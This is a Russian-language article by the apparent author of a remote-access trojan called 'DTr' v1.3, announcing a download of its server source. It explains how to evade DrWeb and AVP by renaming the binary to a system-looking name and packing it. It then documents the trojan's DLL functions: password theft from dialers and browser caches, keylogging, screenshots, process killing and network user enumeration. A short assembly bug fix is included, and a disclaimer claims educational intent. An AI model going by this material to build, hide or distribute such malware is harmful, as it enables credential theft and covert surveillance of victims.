Как все наверное знают, DrWeb и AVP уже начали определять мою прогу "DTr"
v.1.3. Я решил это дело пофиксить. Выбрал время, набрал пива, поставил
брейкпоинты на SoftIce, а потом решил "проверить на вшивость". Изменил имя
приложения, откомпилил, запустил сканеры. Проверил. Запаковал, запустил
мониторы, переписал туда-сюда. Не ловят. Цирк. Как говорила одна моя знакомая:
"я забыла сопротивляться". Эти "супер" антивиры отлавливают пока только имя
приложения. Это значит что если генерить имя случайным образом, то по этому
алгоритму работы они вообще его ловить не будут. А если обозвать приложение
именем какого-нибудь стандарта? Например, "internat.exe"? Кстати имя приложения
изменяется в 118 строке в значении константы "AppName" в исходниках (см. ниже).
В любом случае я решил форсировать процесс и выложить на свою страницу полные
исходники сервера. Исходники клиента и дополнительной DLL выкладывать не буду -
там столько используется моих и не моих компонентов и модулей, что это уже мало
похоже на Delphi. Тем более клиент и DLL антивирами не определяются, а в
следующих статьях я "освещу" клиент на "чистом" Delphi.
Исходники особым обилием комментариев не отличаются, но после внимательного
прочтения моих предыдущих двух статей на эту тему, я думаю, в них можно
разобраться. Единственная сложность, какая может возникнуть, это закачка файлов,
но общий принцип работы алгоритма я расскажу в следующих статьях. Тем более, что
особо разбираться и не нужно - изменить имя приложения можно и так. В этой
статье я дам подробное описание команд, которые понимает сервер.
В сервере замечены баги на Win95, при перезагрузке компа и т.п. Об этом я
также расскажу. Исходники находятся на моей странице в архиве www.danil.dp.ua/dtr_s13s.zip. Особой красотой алгоритмы не
отличаются. Принцип был один: работает - и ладно, а оптимизация будет в
следующей версии. Замечу, что пришлось переписывать функцию преобразования
строка-число - под NT выдавала какой-то бред.
КОМАНДЫ "DTr" v.1.3:
Некоторые обозначения:
- _#13_ - символ с кодом 13;
- <параметр> - параметры команды (без <>).
Команды чуствительны к регистру - "helo" и "HeLo" не одно и то же.
Функции дополнительной DLL ("nb003.dll"):
- DTrTestDLL
- Проверка дополнительной DLL. Входной параметр - указатель на строку,
выходной параметр - указатель на строку вида: "Проверка DLL выполнена.
Полученная строка - ...".
- DTrLstProc
- Список запущенных процессов. Входной параметр - число, определяющее систему
сервера (0-Win9x/ME,1-WinNT). Выходной параметр - указатель на список строк,
содержащий названия и номер всех запущенных приложений.
- DTrDelProc
- Прервать процесс по номеру или ID. Входные параметры - число, определяющее
систему сервера и номер или ID удаляемого процесса. Выходной параметр- указатель
на строку с информацией о результате выполнения операции.
- DTrGetScr
- Получение снимка экрана в файл. Входной параметр - указатель на строку с
полным путем и именем gif-файла. Выходной параметр- указатель на строку с
информацией о результате выполнения операции.
- DTrEDPass
- Получить пароли EType Dialer. Входной параметр - число, определяющее систему
сервера. Выходной параметр - указатель на список строк, содержащий все
полученные пароли или сообщение о неудаче выполнения операции.
- DTrCrkPass
- Получить кешированные инет-пароли. Входной параметр - число, определяющее
систему сервера. Выходной параметр - указатель на список строк, содержащий все
полученные пароли или сообщение о неудаче выполнения операции.
- DTrSrvLst
- Получить список пользователей WinNT-server. Входной параметр - число,
определяющее систему сервера. Выходной параметр - указатель на список строк,
содержащий инфу обо всех юзерах или сообщение о неудаче выполнения операции.
- DTrUsrLst
- Получить список подключенных к серверу компов. Входной параметр - число,
определяющее систему сервера. Выходной параметр - указатель на список строк,
содержащий имена всех компьютеров или сообщение о неудаче выполнения операции.
- DTrKeyProc
- Функция клавиатурного шпиона.
Теперь о багах. Почему-то если сервер стоит на Win95, то в окне получаемых
сообщений, если предыдущая посланная строка была больше текущей, то выводится
полученная строка и окончание предыдущей. Это все фиксится обнулением буфера
отправки или отправкой только стольких байт, сколько есть в подготовленной
строке. Т.е. или перед отправкой надо ставить:
mov ecx,6666 mov edi,offset BufStr0 lll_1: mov byte ptr [edi],0 inc edi loop lll_1
|
Или, лучше, конструкцию:
invoke send,client,addr BufStr0,sizeof BufStr0,0
|
Надо переписать так:
invoke lstrlen, addr BufStr0 invoke send,client,addr BufStr0, eax,0
|
P.S. Статья и программа предоставлена в целях обучения и вся ответственность
за использование ложится на твои хилые плечи.
|